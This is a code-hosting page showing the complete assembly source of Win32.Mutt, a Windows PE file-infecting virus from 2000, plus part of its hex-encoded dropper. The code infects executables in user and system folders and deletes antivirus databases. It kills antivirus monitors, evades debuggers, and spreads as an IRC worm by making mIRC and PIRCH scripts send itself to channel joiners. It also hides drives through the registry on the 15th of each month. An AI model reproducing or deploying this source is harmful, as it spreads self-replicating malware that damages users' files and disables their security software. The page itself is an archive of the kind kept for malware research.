ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-21 02:46:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
c4ae803759
MalwareSourceCode/Win32/Infector/Win32.Mutt.asm

1307 lines
41 KiB
NASM
Raw Normal View History

Add files via upload
2020-10-11 03:07:43 +00:00
; Virus Name : Win32.Mutt
; Virus Version : 1.1 (not beta)
; Virus Author : ULTRAS[MATRiX]
; Release Date : 17.07.00
; Origin : Russia
; Virus type : PE infector
; Target OS : Win95, Win98, WinNT
; Target Files : PE (EXE,CPL,SCR,OCX) & mIRC and PIRCH scriptz
; Infection : Last section (i`m lazy)
; Polymorphic : No
; Encrypted : No
; Kill AV : Yes (monitor & av filez)
; Features :
; Infect PE files in current, Windows, and System dirs.
; Anti-Debugging features (DebugBreak & IsDebuggerPresent).
; Anti-Emulation features
; IRC w0rm virus: mIRC, PIRCH scripts.
; Removes many AV CRC & base files.
; Kill AV monitorz
;
; Payload : will remove the disk from the my computer using
; the registery & small messsage box - at 15 every
; month.
;
; KnownBugs : + Two mistakes are found
; - Not optimizated(i`m lazy)
;
;
; Win32.Mutt by ULTRAS [MATRiX]
.486p
.model flat,stdcall
extrn MessageBoxA:proc
extrn ExitProcess:proc
.data
_title db "[Win32.Mutt."
db all_size/01000 mod 10 + "0"
db all_size/00100 mod 10 + "0"
db all_size/00010 mod 10 + "0"
db all_size/00001 mod 10 + "0"
db "]",0
_message db "First generation host#",10
db "(c) 2000 [ULTRAS/MATRiX]",0
.code
start: push 0
push offset _title
push offset _message
push 0
call MessageBoxA
push 0
call ExitProcess
TRUE EQU 1
FALSE EQU 0
DEBUG EQU FALSE
header_s equ 60h
obj_size equ 28h
dta_size equ 22ch
vstart: db 68h
retadd dd offset start
call geteip
geteip:
mov ebp,[esp]
sub ebp,offset geteip
add esp,4
; Windoze 95/98?
mov eax,0bff70000h
cmp word ptr [eax],"ZM"
je good_os
; Windoze NT?
mov eax,077f00000h
cmp word ptr [eax],"ZM"
je good_os
;Windoze 2000?
mov eax,077e00000h
cmp word ptr [eax],"ZM"
jne error
good_os:
mov [ebp+kernel], eax ; save kernel adress
mov esi,eax
add esi,[esi+3ch]
cmp word ptr [esi], "EP" ; is it a PE?
jne @exit
mov esi,[esi+120]
add esi,eax
mov edi,[esi+36]
add edi,eax
mov [ebp+ordin_tab],edi
mov edi,[esi+32]
add edi,eax
mov [ebp+name_tab],edi
mov ecx,[esi+24]
mov esi,[esi+28]
add esi,eax
mov [ebp+adrtbl],esi
xor edx,edx
lea esi,[ebp+apiz]
mov [ebp+o_api],esi
lea eax,[ebp+win32apiz]
mov [ebp+cur_api], eax
nextz_api:
mov esi,[ebp+o_api]
mov ebx,[esi]
add ebx,ebp
mov esi,[edi]
add esi,[ebp+kernel]
cmp_apiz:
lodsb
cmp al,[ebx]
jnz not_our_API
cmp al,0
jz is_our_API
inc ebx
jmp cmp_apiz
not_our_API:
inc edx
cmp edx,ecx
jz @exit
add edi,4
mov esi,[ebp+o_api]
jmp nextz_api
is_our_API:
mov edi,[ebp+ordin_tab]
push ecx
push edx
xchg edx,eax
add eax,eax
add edi,eax
mov ax,[edi]
xor edx, edx
mov ecx,4
mul ecx
mov edi,[ebp+adrtbl]
add edi,eax
mov eax,edi
sub eax,[ebp+kernel]
mov [ebp+org_rva],eax
mov eax,[edi]
mov [ebp+org_rva_],eax
add eax,[ebp+kernel]
mov edi,[ebp+cur_api]
mov [edi],eax
add edi,4
mov [ebp+cur_api],edi
pop edx
pop ecx
mov edi,[ebp+name_tab]
mov esi,[ebp+o_api]
add esi,4
mov [ebp+o_api],esi
cmp [esi],dword ptr 0
jz found_all
mov edi,[ebp+name_tab]
xor edx,edx
jmp nextz_api
found_all:
IF DEBUG ; Anti-debugging !!
ELSE
call @Debugger
db 'IsDebuggerPresent',0 ; load IsDebuggerPresent API
; This api is not present in windoze 95
; and we should do(make) so to avoid mistakes...
@Debugger:
push [ebp+k32]
call [ebp+_GetProcAddress]
or eax,eax ; Windoze95?
jz @continue_
call eax ; call apiz
;call [ebp+_IsDebuggerPresent]
or eax,eax
jne shut_down
jmp @continue_
shut_down:
call user_32_ ; get user32.dll api
db 'USER32.DLL',00h
user_32_:
call dword ptr [ebp+_LoadLibraryA] ; load library user32.dll
call exitwindows
db 'ExitWindowsEx',00h
exitwindows:
push eax
call dword ptr [ebp+_GetProcAddress]
push 0
push 02h or 04h or 08h or 10h
;call [ebp+_ExitWindowsEx] ; close windoze
call eax
ENDIF
@continue_:
call api ; get USER32 & ADVAPI32 api
call infect_dir ; Infect Current Directory
call anti ; Anti-debugging !!
call payload ; Small&Simple Payload
call infectwindirectory ; Infect all filez in Windoze directory
call infectsysdirectory ; Infect all filez in System directory
call dr0p ; Create Virii Dropper
call kill_monitorz ; Kill AV Monitorz
error:
ret
infect:
push 0
push dword ptr [dta_+00h+ebp]
push 3
push 0
push 0
push 0C0000000h
lea eax,[dta_+2ch+ebp]
push eax
call [ebp+_CreateFileA]
cmp eax,0ffffffffh
je @exit
mov ebx, eax
push 0
push 0
push 3ch
push ebx
call [ebp+_SetFilePointer]
push 0
lea eax,[bytez+ebp]
push eax
push 2
lea eax,[header_o+ebp]
push eax
push ebx
call [ebp+_ReadFile]
push 0
push 0
push dword ptr [header_o+ebp]
push ebx
call [ebp+_SetFilePointer]
push 0
lea eax,[bytez+ebp]
push eax
push header_s
lea eax,[headerz+ebp]
push eax
push ebx
call [ebp+_ReadFile]
cmp dword ptr [headerz+00h+ebp],'EP' ; PE file?
jne close_file
cmp [headerz+4Ch+ebp],'ttuM' ; already infected?
je close_file
mov eax,[headerz+34h+ebp]
add eax,[headerz+28h+ebp]
mov [retadd+ebp], eax
movzx eax,word ptr [headerz+06h+ebp]
dec eax
mov ecx,40
mul ecx
add eax,18h
add ax,word ptr [headerz+14h+ebp]
add eax,[header_o+ebp]
mov [objectOfs+ebp], eax
push 0
push 0
push eax
push ebx
call [ebp+_SetFilePointer]
push 0
lea eax,[bytez+ebp]
push eax
push obj_size
lea eax,[object+ebp]
push eax
push ebx
call [ebp+_ReadFile]
mov edx,[dta_+1ch+ebp]
mov eax,[dta_+20h+ebp]
mov ecx,[headerz+3ch+ebp]
div ecx
or edx,edx
jz $+3
inc eax
mul ecx
shl edx,16
add edx,eax
push edx
push 0
push 0
push edx
push ebx
call [ebp+_SetFilePointer]
push 0
lea eax,[bytez+ebp]
push eax
push all_size
lea eax,[vstart+ebp]
push eax
push ebx
call [ebp+_WriteFile]
pop edx
sub edx,[object+14h+ebp]
mov [object+10h+ebp],edx
mov eax,[object+0Ch+ebp]
add eax,[object+10h+ebp]
mov [headerz+28h+ebp],eax
xor edx,edx
mov eax,all_size
mov ecx,[headerz+3Ch+ebp]
div ecx
or edx,edx
jz $+3
inc eax
mul ecx
mov edi,[object+10h+ebp]
add eax,[object+10h+ebp]
mov [object+10h+ebp],eax
xor edx,edx
mov eax,vir_size
mov ecx,[headerz+38h+ebp]
div ecx
inc eax
mul ecx
mov esi,[object+08h+ebp]
cmp esi,edi
jb x1
add eax,esi
jmp x2
x1:
add eax,edi
x2:
mov [object+08h+ebp],eax
mov [object+24h+ebp],0E0000040h
mov eax,[object+08h+ebp]
add eax,[object+0ch+ebp]
mov [headerz+50h+ebp],eax
mov [headerz+4ch+ebp],'ttuM'
push 0
push 0
push dword ptr [header_o+ebp]
push ebx
call [ebp+_SetFilePointer]
push 0
lea eax,[bytez+ebp]
push eax
push header_s
lea eax,[headerz+ebp]
push eax
push ebx
call [ebp+_WriteFile]
push 0
push 0
push dword ptr [objectOfs+ebp]
push ebx
call [ebp+_SetFilePointer]
push 0
lea eax,[bytez+ebp]
push eax
push obj_size
lea eax,[object+ebp]
push eax
push ebx
call [ebp+_WriteFile]
close_file:
push ebx
call [_CloseHandle+ebp]
@exit:
ret
dr0p:
pusha
push 00h
push 80h
push 02h
push 00h
push 01h
push 0C0000000h
lea eax,[ebp+dr0pz]
push eax
call [ebp+_CreateFileA]
mov ebx,eax
push 0
lea eax,[nbyte+ebp]
push eax
push size_dr0p
lea eax,[ebp+drop]
push eax
push ebx
call [ebp+_WriteFile]
push ebx
call [ebp+_CloseHandle]
lea eax,[ebp+drive_f]
push eax
call [ebp+_SetCurrentDirectoryA]
;call infect_dir
lea ecx,[dta_+ebp]
lea edx,[dr0pz+ebp]
call infect_folder
push 00000001h or 00000002h ; set read only and hidden
lea eax,[ebp+dr0pz]
push eax
call [ebp+_SetFileAttributesA] ; set mutt.exe new attributes
popa
ret
drive_f db 'C:\',0
fhandle dd 00000000h
size_dr0p equ drop2-drop
dr0pz db "c:\Mutt.exe",0
nbyte dd ?
include dr0p.inc
payload proc
lea eax,[ebp+SYSTEMTIME]
push eax
call [ebp+_GetSystemTime]
cmp word ptr [ebp+ST_wDay],15 ; 15?
jnz no_payload ; n0? suxxx
payloadz:
; HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
lea eax,dword ptr [ebp+offset key_handle]
push eax
push KEY_SET_VALUE
push 0
lea eax,dword ptr [ebp+offset KEYZ]
push eax
push HKEY_LOCAL_MACHINE
call [ebp+_RegOpenKeyExA]
; set key Nodrives = 3
push 00000002h
lea eax,[ebp+kz_data]
push eax
push REG_SZ
push 0
lea eax,dword ptr [ebp+key_name]
push eax
mov eax,dword ptr [ebp+key_handle]
push eax
call [ebp+_RegSetValueExA]
push 00000000h
call [ebp+_RegCloseKey]
; small message & greetz
push 00001010h
lea eax,[ebp+mark_]
push eax
call _mes
db "Mutt by ULTRAS[MATRiX] (c) 2000",13,13
db "Thanx: [MATRiX] VX TeAm: mort, NBK, anaktos, Del_Armg0, Lord Dark...",13,13
db "Greetz: all VX scene",0
_mes:
push 00000000h
call [ebp+ _MessageBoxA]
no_payload:
ret
payload endp
HKEY_LOCAL_MACHINE equ 80000002h
HKEY_CURRENT_USER equ 80000001h
KEY_SET_VALUE equ 00000002h
KEYZ db "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer",0h
key_handle dd 0
kz_data db "03",0h
key_name db "Nodrives",0h
REG_SZ equ 1
; DebugBreak procedure
; tnx NBK [MATRiX]
anti proc
pushad
push ebp
lea eax,[ebp+offset anti1]
push eax
push dword ptr fs:[0]
mov dword ptr fs:[0],esp
call [ebp+_DebugBreak]
jmp fuck
anti1:
mov esp,dword ptr [esp+8]
pop dword ptr fs:[0]
add esp,4
pop ebp
popad
ret
anti endp
; DiE-DiE-DiE!!!
fuck proc
mov eax,12345678h
call $
mov ecx,071h
fuck_esp:
mov dword ptr [esp],0b0b0b0b0h
add esp,4
loop fuck_esp
call $
fuck endp
mark_ db "[Win32.Mutt v1.00]",0
infect_folder proc
push ecx
;lea ecx,[dta_+ebp]
push ecx
push edx
call [_FindFirstFileA+ebp]
pop ecx
cmp eax,0ffffffffh
je endz_find
push eax
@@infect:
call infect
find_next:
pop eax
push eax
push eax
pop ecx
lea edx,[dta_+ebp]
push edx
push ecx
call [_FindNextFileA+ebp]
test eax,eax
jz find_close
lea ecx,[dta_+ebp+ebp]
jmp @@infect
find_close:
call [ebp+_FindClose]
endz_find:
ret
infect_folder endp
infectwindirectory proc
lea edx,[infection_dir_@1+ebp]
push edx
push 7Fh
push edx
call [_GetWindowsDirectoryA+ebp]
pop edx
push edx
call [ebp+_SetCurrentDirectoryA]
call infect_dir
ret
infectwindirectory endp
infectsysdirectory proc
lea edx,[infection_dir_@2+ebp]
push edx
push 7Fh
push edx
call [_GetSystemDirectoryA+ebp]
pop edx
push edx
call [ebp+_SetCurrentDirectoryA]
call infect_dir
ret
infectsysdirectory endp
mtx db "[MATRiX4EVER]",0
; Search&Infect current directory EXE, CPL, SCR filez..
infect_dir proc
call delete_av ; delete av filez
lea ecx,[dta_+ebp] ; find EXE filez
lea edx,[fexe+ebp]
call infect_folder ; Infect the folder
lea ecx,[dta_+ebp] ; find SCR filez
lea edx,[fscr+ebp]
call infect_folder ; Infect the folder
lea ecx,[dta_+ebp] ; find CPL filez
lea edx,[fcpl+ebp]
call infect_folder ; Infect the folder
lea ecx,[dta_+ebp] ; find OCX filez
lea edx,[focx+ebp]
call infect_folder ; Infect the folder
call irc_worm ; search mirc & pirch
ret
infect_dir endp
; Delete AV checksum & database
delete_av proc
lea ebx,[ebp+avp_crc]
call delete_
lea ebx,[ebp+anti_vir]
call delete_
lea ebx,[ebp+chklist]
call delete_
lea ebx,[ebp+ivb]
call delete_
lea ebx,[ebp+nod]
call delete_
lea ebx,[ebp+tbscan]
call delete_
lea ebx,[ebp+ap]
call delete_
ret
delete_av endp
; Delete Procedure
; EBX = filename to kill
delete_ proc
push 80h
push ebx ; set attribute
call dword ptr [ebp+_SetFileAttributesA]
push ebx
call dword ptr [ebp+_DeleteFileA] ; kill filez
ret
delete_ endp
fbytez db 05h
irc_worm:
push 80h
lea eax,[ebp+_mircfilez]
push eax
call [ebp+_SetFileAttributesA]
xchg eax,ecx
jecxz _pirch
jmp inf_mirc
_pirch:
push 80h
lea eax,[ebp+_pirchfile]
push eax
call [ebp+_SetFileAttributesA]
xchg eax,ecx
jecxz exitscp
jmp inf_pirch
exitscp:
ret
inf_pirch:
xor eax,eax
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 40000000h
call _pirchz
_pirchfile db "events.ini",0
_pirchz:
call [ebp+_CreateFileA]
mov dword ptr [ebp+script_hnd],eax
push 00000000h
lea ebx,[ebp+fbytez]
push ebx
push p_wrmsize
lea ebx,[ebp+pirch_script]
push ebx
push eax
call [ebp+_WriteFile]
push dword ptr [ebp+script_hnd]
call [ebp+_CloseHandle]
ret
inf_mirc:
xor eax,eax
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 0c0000000h
call _mirc
_mircfilez db "script.ini",0
_mirc:
call [ebp+_CreateFileA]
mov dword ptr [ebp+script_hnd],eax
push 00000000h
lea ebx,[ebp+fbytez]
push ebx
push m_wrmsize
lea ebx,[ebp+mirc_script]
push ebx
push eax
call [ebp+_WriteFile]
push dword ptr [ebp+script_hnd]
call [ebp+_CloseHandle]
ret
script_hnd dd 00000000h
api:
lea eax,[ebp+user32_]
push eax
call [ebp+_LoadLibraryA]
xchg eax,ebx
lea edi,[ebp+@user_api]
lea esi,[ebp+@user_add]
retrieve_user32_api:
push edi
push ebx
call [ebp+_GetProcAddress]
xchg edi,esi
stosd
xchg edi,esi
xor al,al
scasb
jnz $-1
cmp byte ptr [edi],"M"
jz user32api
jmp retrieve_user32_api
user32api:
lea eax,[ebp+advapi32_]
push eax
call [ebp+_LoadLibraryA]
xchg eax,ebx
lea edi,[ebp+@advapi32_api]
lea esi,[ebp+@advapi32_add]
retrieve_advapi32_api:
push edi
push ebx
call [ebp+_GetProcAddress]
xchg edi,esi
stosd
xchg edi,esi
xor al,al
scasb
jnz $-1
cmp byte ptr [edi],"U"
jz retz
jmp retrieve_advapi32_api
retz:
ret
kill_monitorz:
lea edi,[ebp+avmonitorz]
l00pz:
call terminate_mon
xor al,al
scasb
jnz $-1
cmp byte ptr [edi],0FFh
jnz l00pz
ret
terminate_mon proc
xor ebx,ebx
push edi
push ebx
call [ebp+_FindWindowA]
xchg eax,ecx
jecxz tm_error
push ebx
push ebx
push 00000012h
push ecx
call [ebp+_PostMessageA]
mov cl,00h
org $-1
tm_error:
stc
ret
terminate_mon endp
avmonitorz label byte
db "AVP Monitor",0
db "Amon Antivirus Monitor",0
db "AVG Control Center",0
db "Avast32 -- Rezidentn<74> podpora",0
db "AVP Monitor",0
db "Amon Antivirus Monitor",0
db "Antiv<69>rusov<6F> monitor Amon",0
db "Norton AntiVirus",0
db 0FFh
@user_add label byte
_MessageBoxA dd 00000000h
_FindWindowA dd 00000000h
_PostMessageA dd 00000000h
@advapi32_add label byte
_RegCreateKeyExA dd 00000000h
_RegOpenKeyExA dd 00000000h
_RegSetValueExA dd 00000000h
_RegCloseKey dd 00000000h
@user_api label byte
@MessageBoxA db "MessageBoxA",0
@FindWindowA db "FindWindowA",0
@PostMessageA db "PostMessageA",0
db "M"
@advapi32_api label byte
@RegCreateKeyExA db "RegCreateKeyExA",0
@RegOpenKeyExA db "RegOpenKeyExA",0
@RegSetValueExA db "RegSetValueExA",0
@RegCloseKey db "RegCloseKey",0
db "U"
; AV filez
avp_crc db 'AVP.CRC',0
anti_vir db 'ANTI-VIR.DAT',0
chklist db 'CHKLIST.MS',0
ivb db 'IVB.NTZ',0
nod db 'NOD32.000',0
tbscan db 'TBSCAN.SIG',0
ap db 'AP.VIR',0
infection_dir_@1 db 7Fh dup (00h)
infection_dir_@2 db 7Fh dup (00h)
apiz: dd offset CreateFile
dd offset SetFilePtr
dd offset ReadFile
dd offset WriteFile
dd offset CloseFile
dd offset FindFirst
dd offset FindNext
dd offset FindC
dd offset GSTime
dd offset GProcAd
dd offset LoadLib
dd offset FrLib
dd offset GetWin
dd offset GetSys
dd offset SetDir
dd offset GetDir
dd offset SetAtt
dd offset Delete
dd offset DebugB
dd 0
CreateFile db 'CreateFileA',0
SetFilePtr db 'SetFilePointer',0
ReadFile db 'ReadFile',0
WriteFile db 'WriteFile',0
CloseFile db 'CloseHandle',0
FindFirst db 'FindFirstFileA',0
FindNext db 'FindNextFileA',0
FindC db 'FindClose',0
CopyF db 'CopyFileA',0
GSTime db 'GetSystemTime',0
GProcAd db 'GetProcAddress',0 ;
LoadLib db 'LoadLibraryA',0
FrLib db 'FreeLibrary',0
GetWin db 'GetWindowsDirectoryA',0
GetSys db 'GetSystemDirectoryA',0
SetDir db 'SetCurrentDirectoryA',0
GetDir db 'GetCurrentDirectoryA',0
SetAtt db 'SetFileAttributesA',0
Delete db 'DeleteFileA',0
DebugB db 'DebugBreak',0
ExitProc db 'ExitProcess',0
win32apiz:
_CreateFileA dd 0
_SetFilePointer dd 0
_ReadFile dd 0
_WriteFile dd 0
_CloseHandle dd 0
_FindFirstFileA dd 0
_FindNextFileA dd 0
_FindClose dd 0
_GetSystemTime dd 0
_GetProcAddress dd 0
_LoadLibraryA dd 0
_FreeLibrary dd 0
_GetWindowsDirectoryA dd 0
_GetSystemDirectoryA dd 0
_SetCurrentDirectoryA dd 0
_GetCurrentDirectoryA dd 0
_SetFileAttributesA dd 0
_DeleteFileA dd 0
_DebugBreak dd 0
_ExitProcess dd 0
; Systemtime strycture
SYSTEMTIME label byte
ST_wYear dw ?
ST_wMonth dw ?
ST_wDayOfWeek dw ?
ST_wDay dw ?
ST_wHour dw ?
ST_wMinute dw ?
ST_wSecond dw ?
ST_wMilliseconds dw ?
; mIRC virus script
mirc_script db "[script]",13,10
db "; -=Mutt=-",13,10
db "n0=on 1:join:#:{",13,10
db "n1=if ( $nick == $me ) { halt } | .dcc send $nick c:\mutt.exe",13,10
db "n2=}",13,10
db "n3=ON 1:TEXT:*virus*:#:/.ignore $nick",13,10
db "n4=ON 1:TEXT:*worm*:#:/.ignore $nick",13,10
db "n5=ON 1:TEXT:*mutt*:#:/.ignore $nick",13,10
db "n6=ON 1:TEXT:*exe*:#:/.ignore $nick",13,10
db "n7=ON 1:TEXT:*blink*:#:/quit Blink 182!!!!!",13,10
db "n8=ON 1:CONNECT: {",13,10
db "n9=}",13,10
m_wrmsize equ ($-offset mirc_script)
; PIRCH virus script
pirch_script db "[Levels]",13,10
db "Enabled=1",13,10
db "; -=Mutt=-",13,10
db "Count=1",10
db "Level1=UltraMutt",13,10,13,10
db "[UltraMutt]",13,10
db "User1=*!*@*",13,10
db "UserCount=1",13,10
db "Event1=ON JOIN:#:/dcc send $nick c:\mutt.exe",13,10
db "Event2=ON TEXT:*virus*:*:/ignore $nick 1",13,10
db "Event3=ON TEXT:*worm*:*:/ignore $nick 1",13,10
db "Event4=ON TEXT:*mutt*:*:/ignore $nick 1",13,10
db "Event5=ON TEXT:*exe*:*:/ignore $nick 1",13,10
db "EventCount=5",13,10
db "[DCC]",13,10
db "AutoHideDccWin=1",13,10
p_wrmsize equ ($-offset pirch_script)
fexe db "*.EXE",0
;fult db "*.mtx",0
fscr db "*.SCR",0
fcpl db "*.CPL",0
focx db "*.OCX",0
k32 dd 0
user32_ db "USER32",0
advapi32_ db "ADVAPI32",0
all_size equ $-vstart
name_tab dd ?
adrtbl dd ?
o_api dd ?
cur_api dd ?
ordin_tab dd ?
org_rva dd ?
org_rva_ dd ?
kernel dd ?
header_o dd ?
objectOfs dd ?
SearchHandle dd ?
bytez dd ?
object dd obj_size/4 dup (?)
headerz dd header_s/4 dup (?)
dta_ dd dta_size/4 dup (?)
vir_size equ $-vstart
end vstart
--[dr0p.inc]------------------------------------------------------------------>8
; DirectDrow Demo "Plazma"
; Virus Dropper
drop:
db 04Dh,05Ah,090h,000h,003h,000h,000h,000h,004h,000h,000h,000h,0FFh,0FFh
db 000h,000h,0B8h,000h,000h,000h,000h,000h,000h,000h,040h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,0B0h,000h,000h,000h,00Eh,01Fh,0BAh,00Eh,000h,0B4h
db 009h,0CDh,021h,0B8h,001h,04Ch,0CDh,021h,054h,068h,069h,073h,020h,070h
db 072h,06Fh,067h,072h,061h,06Dh,020h,063h,061h,06Eh,06Eh,06Fh,074h,020h
db 062h,065h,020h,072h,075h,06Eh,020h,069h,06Eh,020h,044h,04Fh,053h,020h
db 06Dh,06Fh,064h,065h,02Eh,00Dh,00Dh,00Ah,024h,000h,000h,000h,000h,000h
db 000h,000h,05Dh,017h,01Dh,0DBh,019h,076h,073h,088h,019h,076h,073h,088h
db 019h,076h,073h,088h,019h,076h,073h,088h,007h,076h,073h,088h,0E5h,056h
db 061h,088h,018h,076h,073h,088h,052h,069h,063h,068h,019h,076h,073h,088h
db 000h,000h,000h,000h,000h,000h,000h,000h,050h,045h,000h,000h,04Ch,001h
db 003h,000h,034h,01Fh,096h,038h,000h,000h,000h,000h,000h,000h,000h,000h
db 0E0h,000h,00Fh,001h,00Bh,001h,006h,000h,000h,006h,000h,000h,000h,014h
db 000h,000h,000h,000h,000h,000h,000h,010h,000h,000h,000h,010h,000h,000h
db 000h,020h,000h,000h,000h,000h,040h,000h,000h,010h,000h,000h,000h,002h
db 000h,000h,004h,000h,000h,000h,000h,000h,000h,000h,004h,000h,000h,000h
db 000h,000h,000h,000h,000h,040h,000h,000h,000h,004h,000h,000h,000h,000h
db 000h,000h,002h,000h,000h,000h,000h,000h,010h,000h,000h,010h,000h,000h
db 000h,000h,010h,000h,000h,010h,000h,000h,000h,000h,000h,000h,010h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,054h,020h,000h,000h
db 064h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,020h,000h,000h,054h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,02Eh,074h,065h,078h,074h,000h,000h,000h,09Ah,005h
db 000h,000h,000h,010h,000h,000h,000h,006h,000h,000h,000h,004h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,020h,000h
db 000h,060h,02Eh,072h,064h,061h,074h,061h,000h,000h,056h,002h,000h,000h
db 000h,020h,000h,000h,000h,004h,000h,000h,000h,00Ah,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,040h,000h,000h,040h
db 02Eh,064h,061h,074h,061h,000h,000h,000h,04Ch,00Eh,000h,000h,000h,030h
db 000h,000h,000h,002h,000h,000h,000h,00Eh,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,040h,000h,000h,0C0h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
db 000h,000h,06Ah,000h,0E8h,039h,005h,000h,000h,06Ah,00Ah,06Ah,000h,06Ah
db 000h,050h,0E8h,0ADh,001h,000h,000h,050h,0E8h,021h,005h,000h,000h,053h
db 056h,057h,0B9h,0C8h,000h,000h,000h,08Bh,03Dh,000h,032h,040h,000h,051h
db 057h,08Bh,035h,0A0h,030h,040h,000h,08Bh,015h,0A4h,030h,040h,000h,02Bh
db 0F1h,081h,0E2h,0FFh,000h,000h,000h,081h,0E6h,0FFh,000h,000h,000h,08Bh
db 014h,095h,04Ch,03Ah,040h,000h,08Bh,034h,0B5h,04Ch,036h,040h,000h,02Bh
db 0D1h,0B9h,040h,001h,000h,000h,081h,0E6h,0FFh,000h,000h,000h,081h,0E2h
db 0FFh,000h,000h,000h,08Bh,004h,0B5h,04Ch,036h,040h,000h,08Bh,01Ch,095h
db 04Ch,03Ah,040h,000h,003h,0C3h,083h,0C6h,001h,0D1h,0E8h,083h,0C2h,0FEh
db 025h,0FFh,000h,000h,000h,083h,0C7h,004h,08Bh,004h,085h,04Ch,032h,040h
db 000h,049h,089h,047h,0FCh,075h,0C7h,05Fh,059h,003h,03Dh,0ECh,031h,040h
db 000h,049h,075h,08Bh,083h,005h,0A0h,030h,040h,000h,0FEh,083h,005h,0A4h
db 030h,040h,000h,0FFh,05Fh,05Eh,05Bh,0C3h,055h,08Bh,0ECh,083h,0C4h,0ECh
db 0C7h,045h,0FCh,000h,000h,000h,000h,0E9h,0F1h,000h,000h,000h,08Bh,055h
db 0FCh,0D9h,0EBh,0DAh,04Dh,0FCh,0D8h,00Dh,0B4h,030h,040h,000h,0D8h,035h
db 0BCh,030h,040h,000h,0D9h,0FEh,0D8h,00Dh,0B8h,030h,040h,000h,0D8h,005h
db 0B8h,030h,040h,000h,0DBh,01Ch,095h,04Ch,036h,040h,000h,0D9h,0EBh,0DAh
db 04Dh,0FCh,0D8h,00Dh,0B4h,030h,040h,000h,0D8h,035h,0BCh,030h,040h,000h
db 0D9h,0FFh,0D8h,00Dh,0B8h,030h,040h,000h,0D8h,005h,0B8h,030h,040h,000h
db 0D9h,0EBh,0DEh,0C9h,0D8h,00Dh,0B4h,030h,040h,000h,0D8h,035h,0BCh,030h
db 040h,000h,0D9h,0FEh,0D8h,00Dh,0B8h,030h,040h,000h,0D8h,005h,0B8h,030h
db 040h,000h,0DBh,01Ch,095h,04Ch,03Ah,040h,000h,033h,0C0h,0D9h,0EBh,0DAh
